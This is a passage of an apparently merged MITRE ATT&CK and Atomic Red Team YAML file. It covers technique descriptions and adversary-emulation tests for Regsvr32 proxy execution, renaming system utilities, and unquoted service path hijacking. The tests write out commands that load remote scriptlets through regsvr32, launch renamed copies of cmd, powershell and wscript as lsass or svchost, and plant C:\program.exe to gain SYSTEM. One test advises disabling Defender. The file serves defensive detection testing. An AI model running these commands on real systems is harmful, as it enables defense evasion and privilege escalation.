but requires specialized security tooling. x_mitre_platforms: - macOS x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Jimmy Astle, @AstleJimmy, Carbon Black - Erika Noerenberg, @gutterchurl, Carbon Black x_mitre_data_sources: - 'Process: Process Creation' - 'Process: OS API Execution' x_mitre_permissions_required: - Administrator - User x_mitre_effective_permissions: - root type: attack-pattern id: attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0 created: '2020-01-30T14:40:20.187Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1548/004 external_id: T1548.004 - source_name: AppleDocs AuthorizationExecuteWithPrivileges description: Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019. url: https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg - source_name: Carbon Black Shlayer Feb 2019 description: Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019. url: https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html - source_name: Death by 1000 installers; it's all broken! description: Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019. url: https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8 - source_name: OSX Coldroot RAT description: Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019. url: https://objective-see.com/blog/blog_0x2A.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1218.010: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Signed Binary Proxy Execution: Regsvr32' description: |- Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Casey Smith x_mitre_deprecated: false x_mitre_detection: 'Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '2.1' x_mitre_data_sources: - 'Module: Module Load' - 'Command: Command Execution' - 'Network Traffic: Network Connection Creation' - 'Process: Process Creation' x_mitre_defense_bypassed: - Digital Certificate Validation - Anti-virus - Application control type: attack-pattern id: attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab created: '2020-01-23T19:52:17.414Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1218/010 external_id: T1218.010 - source_name: FireEye Regsvr32 Targeting Mongolian Gov description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017. url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html - source_name: LOLBAS Regsvr32 description: LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019. url: https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/ - source_name: Microsoft Regsvr32 description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016. url: https://support.microsoft.com/en-us/kb/249873 - source_name: Carbon Black Squiblydoo Apr 2016 description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.' url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1218.010 atomic_tests: - name: Regsvr32 local COM scriptlet execution auto_generated_guid: 449aa403-6aba-47ce-8a37-247d21ef0306 description: 'Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched. ' supported_platforms: - windows input_arguments: filename: description: Name of the local file, include path. type: path default: PathToAtomicsFolder\T1218.010\src\RegSvr32.sct regsvr32path: description: Default location of Regsvr32.exe type: path default: C:\Windows\system32 regsvr32name: description: Default name of Regsvr32.exe type: string default: regsvr32.exe dependency_executor_name: powershell dependencies: - description: 'Regsvr32.sct must exist on disk at specified location (#{filename}) ' prereq_command: 'if (Test-Path "#{filename}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct" -OutFile "#{filename}" executor: command: '#{regsvr32path}\#{regsvr32name} /s /u /i:"#{filename}" scrobj.dll ' name: command_prompt - name: Regsvr32 remote COM scriptlet execution auto_generated_guid: c9d0c4ef-8a96-4794-a75b-3d3a5e6f2a36 description: | Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable windows defender real-time protection to fix it. Upon execution, calc.exe will be launched. supported_platforms: - windows input_arguments: url: description: URL to hosted sct file type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct regsvr32path: description: Default location of Regsvr32.exe type: path default: C:\Windows\system32 regsvr32name: description: Default name of Regsvr32.exe type: string default: regsvr32.exe executor: command: "#{regsvr32path}\\#{regsvr32name} /s /u /i:#{url} scrobj.dll\n" name: command_prompt - name: Regsvr32 local DLL execution auto_generated_guid: '08ffca73-9a3d-471a-aeb0-68b4aa3ab37b' description: 'Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched. ' supported_platforms: - windows input_arguments: dll_name: description: Name of DLL to Execute, DLL Should export DllRegisterServer type: path default: PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll regsvr32path: description: Default location of Regsvr32.exe type: path default: C:\Windows\system32 regsvr32name: description: Default name of Regsvr32.exe type: string default: regsvr32.exe dependency_executor_name: powershell dependencies: - description: 'AllTheThingsx86.dll must exist on disk at specified location (#{dll_name}) ' prereq_command: 'if (Test-Path "#{dll_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{dll_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}" executor: command: 'IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} ) ' name: command_prompt - name: Regsvr32 Registering Non DLL auto_generated_guid: 1ae5ea1f-0a4e-4e54-b2f5-4ac328a7f421 description: 'Replicating observed Gozi maldoc behavior registering a dll with an altered extension ' supported_platforms: - windows input_arguments: dll_file: description: Path to renamed dll file to be registered type: path default: "%temp%\\shell32.jpg" regsvr32path: description: Default location of Regsvr32.exe type: path default: C:\Windows\system32 regsvr32name: description: Default name of Regsvr32.exe type: string default: regsvr32.exe dependency_executor_name: command_prompt dependencies: - description: 'Test requires a renamed dll file ' prereq_command: 'if exist #{dll_file} ( exit 0 ) else ( exit 1 ) ' get_prereq_command: 'copy "C:\Windows\System32\shell32.dll" "#{dll_file}" ' executor: name: command_prompt elevation_required: false command: "#{regsvr32path}\\#{regsvr32name} /s #{dll_file}\n" cleanup_command: "#{regsvr32path}\\#{regsvr32name} /U /s #{dll_file}\n" - name: Regsvr32 Silent DLL Install Call DllRegisterServer auto_generated_guid: 9d71c492-ea2e-4c08-af16-c6994cdf029f description: Regsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer. supported_platforms: - windows input_arguments: dll_name: description: Name of DLL to Install type: string default: PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll regsvr32path: description: Default location of Regsvr32.exe type: string default: C:\Windows\system32 regsvr32name: description: Default name of Regsvr32.exe type: string default: regsvr32.exe dependency_executor_name: powershell dependencies: - description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name}) prereq_command: 'if (Test-Path "#{dll_name}") {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -Type Directory (split-path "#{dll_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}" executor: command: '#{regsvr32path}\#{regsvr32name} /s /i "#{dll_name}" ' name: command_prompt T1036.003: technique: modified: '2023-09-14T21:12:48.411Z' name: 'Masquerading: Rename System Utilities' description: 'Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: 'If file names are mismatched between the file name on disk and that of the binary''s PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Metadata' - 'Command: Command Execution' - 'File: File Metadata' type: attack-pattern id: attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b created: '2020-02-10T20:03:11.691Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1036/003 external_id: T1036.003 - source_name: Twitter ItsReallyNick Masquerading Update description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019. url: https://twitter.com/ItsReallyNick/status/1055321652777619457 - source_name: Elastic Masquerade Ball description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.' url: https://www.elastic.co/blog/how-hunt-masquerade-ball - source_name: F-Secure CozyDuke description: 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.' url: https://www.f-secure.com/documents/996508/1030745/CozyDuke - source_name: LOLBAS Main Site description: LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020. url: https://lolbas-project.github.io/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1036.003 atomic_tests: - name: Masquerading as Windows LSASS process auto_generated_guid: 5ba5a3d1-cf3c-4499-968a-a93155d1f717 description: | Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe. Upon execution, cmd will be launched by powershell. If using Invoke-AtomicTest, The test will hang until the 120 second timeout cancels the session supported_platforms: - windows executor: command: | copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe %SystemRoot%\Temp\lsass.exe /B cleanup_command: 'del /Q /F %SystemRoot%\Temp\lsass.exe >nul 2>&1 ' name: command_prompt - name: Masquerading as FreeBSD or Linux crond process. auto_generated_guid: a315bfff-7a98-403b-b442-2ea1b255e556 description: | Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon. Upon successful execution, sh is renamed to `crond` and executed. supported_platforms: - linux executor: command: | cp /bin/sh /tmp/crond; echo 'sleep 5' | /tmp/crond cleanup_command: 'rm /tmp/crond ' name: sh - name: Masquerading - cscript.exe running as notepad.exe auto_generated_guid: 3a2a578b-0a01-46e4-92e3-62e2859b42f0 description: | Copies cscript.exe, renames it, and launches it to masquerade as an instance of notepad.exe. Upon successful execution, cscript.exe is renamed as notepad.exe and executed from non-standard path. supported_platforms: - windows executor: command: | copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y cmd.exe /c %APPDATA%\notepad.exe /B cleanup_command: 'del /Q /F %APPDATA%\notepad.exe >nul 2>&1 ' name: command_prompt - name: Masquerading - wscript.exe running as svchost.exe auto_generated_guid: 24136435-c91a-4ede-9da1-8b284a1c1a23 description: | Copies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe. Upon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Wscript file to execute must exist on disk ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.vbs" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs" executor: command: | copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y cmd.exe /c %APPDATA%\svchost.exe "PathToAtomicsFolder\..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs" cleanup_command: 'del /Q /F %APPDATA%\svchost.exe >nul 2>&1 ' name: command_prompt - name: Masquerading - powershell.exe running as taskhostw.exe auto_generated_guid: ac9d0fc3-8aa8-4ab5-b11f-682cd63b40aa description: | Copies powershell.exe, renames it, and launches it to masquerade as an instance of taskhostw.exe. Upon successful execution, powershell.exe is renamed as taskhostw.exe and executed from non-standard path. supported_platforms: - windows executor: command: | copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y cmd.exe /K %APPDATA%\taskhostw.exe cleanup_command: 'del /Q /F %APPDATA%\taskhostw.exe >nul 2>&1 ' name: command_prompt - name: Masquerading - non-windows exe running as windows exe auto_generated_guid: bc15c13f-d121-4b1f-8c7d-28d95854d086 description: | Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe Upon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path. supported_platforms: - windows input_arguments: outputfile: description: path of file to execute type: path default: ($env:TEMP + "\svchost.exe") inputfile: description: path of file to copy type: path default: PathToAtomicsFolder\T1036.003\bin\T1036.003.exe dependency_executor_name: powershell dependencies: - description: 'Exe file to copy must exist on disk at specified location (#{inputfile}) ' prereq_command: 'if (Test-Path "#{inputfile}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{inputfile}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/bin/T1036.003.exe" -OutFile "#{inputfile}" executor: command: | copy "#{inputfile}" #{outputfile} try { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id } catch { $_; exit $_.Exception.HResult} Stop-Process -ID $myT1036_003 cleanup_command: 'Remove-Item #{outputfile} -Force -ErrorAction Ignore ' name: powershell - name: Masquerading - windows exe running as different windows exe auto_generated_guid: c3d24a39-2bfe-4c6a-b064-90cd73896cb0 description: 'Copies a windows exe, renames it as another windows exe, and launches it to masquerade as second windows exe ' supported_platforms: - windows input_arguments: outputfile: description: path of file to execute type: path default: ($env:TEMP + "\svchost.exe") inputfile: description: path of file to copy type: path default: "$env:ComSpec" executor: command: | copy "#{inputfile}" #{outputfile} $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id Stop-Process -ID $myT1036_003 cleanup_command: 'Remove-Item #{outputfile} -Force -ErrorAction Ignore ' name: powershell - name: Malicious process Masquerading as LSM.exe auto_generated_guid: 83810c46-f45e-4485-9ab6-8ed0e9e6ed7f description: | Detect LSM running from an incorrect directory and an incorrect service account This works by copying cmd.exe to a file, naming it lsm.exe, then copying a file to the C:\ folder. Upon successful execution, cmd.exe will be renamed as lsm.exe and executed from non-standard path. supported_platforms: - windows executor: command: | copy C:\Windows\System32\cmd.exe C:\lsm.exe C:\lsm.exe /c echo T1036.003 > C:\T1036.003.txt cleanup_command: | del C:\T1036.003.txt >nul 2>&1 del C:\lsm.exe >nul 2>&1 name: command_prompt elevation_required: true - name: File Extension Masquerading auto_generated_guid: c7fa0c3b-b57f-4cba-9118-863bf4e653fc description: | download and execute a file masquerading as images or Office files. Upon execution 3 calc instances and 3 vbs windows will be launched. e.g SOME_LEGIT_NAME.[doc,docx,xls,xlsx,pdf,rtf,png,jpg,etc.].[exe,vbs,js,ps1,etc] (Quartelyreport.docx.exe) supported_platforms: - windows input_arguments: exe_path: description: path to exe to use when creating masquerading files type: path default: C:\Windows\System32\calc.exe vbs_path: description: path of vbs to use when creating masquerading files type: path default: PathToAtomicsFolder\T1036.003\src\T1036.003_masquerading.vbs ps1_path: description: path of powershell script to use when creating masquerading files type: path default: PathToAtomicsFolder\T1036.003\src\T1036.003_masquerading.ps1 dependency_executor_name: powershell dependencies: - description: 'File to copy must exist on disk at specified location (#{vbs_path}) ' prereq_command: 'if (Test-Path "#{vbs_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{vbs_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.vbs" -OutFile "#{vbs_path}" - description: 'File to copy must exist on disk at specified location (#{ps1_path}) ' prereq_command: 'if (Test-Path "#{ps1_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{ps1_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.ps1" -OutFile "#{ps1_path}" executor: command: | copy "#{exe_path}" %temp%\T1036.003_masquerading.docx.exe /Y copy "#{exe_path}" %temp%\T1036.003_masquerading.pdf.exe /Y copy "#{exe_path}" %temp%\T1036.003_masquerading.ps1.exe /Y copy "#{vbs_path}" %temp%\T1036.003_masquerading.xls.vbs /Y copy "#{vbs_path}" %temp%\T1036.003_masquerading.xlsx.vbs /Y copy "#{vbs_path}" %temp%\T1036.003_masquerading.png.vbs /Y copy "#{ps1_path}" %temp%\T1036.003_masquerading.doc.ps1 /Y copy "#{ps1_path}" %temp%\T1036.003_masquerading.pdf.ps1 /Y copy "#{ps1_path}" %temp%\T1036.003_masquerading.rtf.ps1 /Y %temp%\T1036.003_masquerading.docx.exe %temp%\T1036.003_masquerading.pdf.exe %temp%\T1036.003_masquerading.ps1.exe %temp%\T1036.003_masquerading.xls.vbs %temp%\T1036.003_masquerading.xlsx.vbs %temp%\T1036.003_masquerading.png.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File %temp%\T1036.003_masquerading.doc.ps1 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File %temp%\T1036.003_masquerading.pdf.ps1 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File %temp%\T1036.003_masquerading.rtf.ps1 cleanup_command: | del /f %temp%\T1036.003_masquerading.docx.exe > nul 2>&1 del /f %temp%\T1036.003_masquerading.pdf.exe > nul 2>&1 del /f %temp%\T1036.003_masquerading.ps1.exe > nul 2>&1 del /f %temp%\T1036.003_masquerading.xls.vbs > nul 2>&1 del /f %temp%\T1036.003_masquerading.xlsx.vbs > nul 2>&1 del /f %temp%\T1036.003_masquerading.png.vbs > nul 2>&1 del /f %temp%\T1036.003_masquerading.doc.ps1 > nul 2>&1 del /f %temp%\T1036.003_masquerading.pdf.ps1 > nul 2>&1 del /f %temp%\T1036.003_masquerading.rtf.ps1 > nul 2>&1 name: command_prompt T1562.011: technique: modified: '2023-04-12T22:46:33.995Z' name: Spoof Security Alerting description: |- Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders’ awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident. Rather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). An adversary can also present a “healthy” system status even after infection. This can be abused to enable further malicious activity by delaying defender responses. For example, adversaries may show a fake Windows Security GUI and tray icon with a “healthy” system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - macOS - Linux x_mitre_version: '1.0' x_mitre_data_sources: - 'Process: Process Creation' - 'Sensor Health: Host Status' type: attack-pattern id: attack-pattern--bef8aaee-961d-4359-a308-4c2182bcedff created: '2023-03-14T16:04:24.865Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1562/011 external_id: T1562.011 - source_name: BlackBasta description: Antonio Cocomazzi and Antonio Pirozzi. (2022, November 3). Black Basta Ransomware | Attacks Deploy Custom EDR Evasion Tools Tied to FIN7 Threat Actor. Retrieved March 14, 2023. url: https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1574.009: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Hijack Execution Flow: Path Interception by Unquoted Path' description: |- Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch. Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide) This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Stefan Kanthak x_mitre_deprecated: false x_mitre_detection: |- Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Modification' - 'File: File Creation' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b created: '2020-03-13T13:51:58.519Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/009 external_id: T1574.009 - source_name: Windows Privilege Escalation Guide description: absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018. url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ - source_name: Windows Unquoted Services description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018. url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/ - source_name: Help eliminate unquoted path description: Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012. url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464 - source_name: Microsoft CurrentControlSet Services description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services Registry Tree. Retrieved March 16, 2020. url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1574.009 atomic_tests: - name: Execution of program.exe as service with unquoted service path auto_generated_guid: 2770dea7-c50f-457b-84c4-c40a47460d9f description: | When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges. In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe. supported_platforms: - windows input_arguments: service_executable: description: Path of the executable used for the service and as the hijacked program.exe type: path default: PathToAtomicsFolder\T1574.009\bin\WindowsServiceExample.exe executor: command: | copy "#{service_executable}" "C:\Program Files\windows_service.exe" copy "#{service_executable}" "C:\program.exe" sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto sc start "Example Service" cleanup_command: | sc stop "Example Service" >nul 2>&1 sc delete "Example Service" >nul 2>&1 del "C:\Program Files\windows_service.exe" >nul 2>&1 del "C:\program.exe" >nul 2>&1 del "C:\Time.log" >nul 2>&1 name: command_prompt elevation_required: true T1027.003: technique: modified: '2023-03-30T21:01:48.815Z' name: Steganography description: "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used Invoke-PSImage to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Metadata' type: attack-pattern id: attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916 created: '2020-02-05T14:28:16.719Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/003 external_id: T1027.003 - 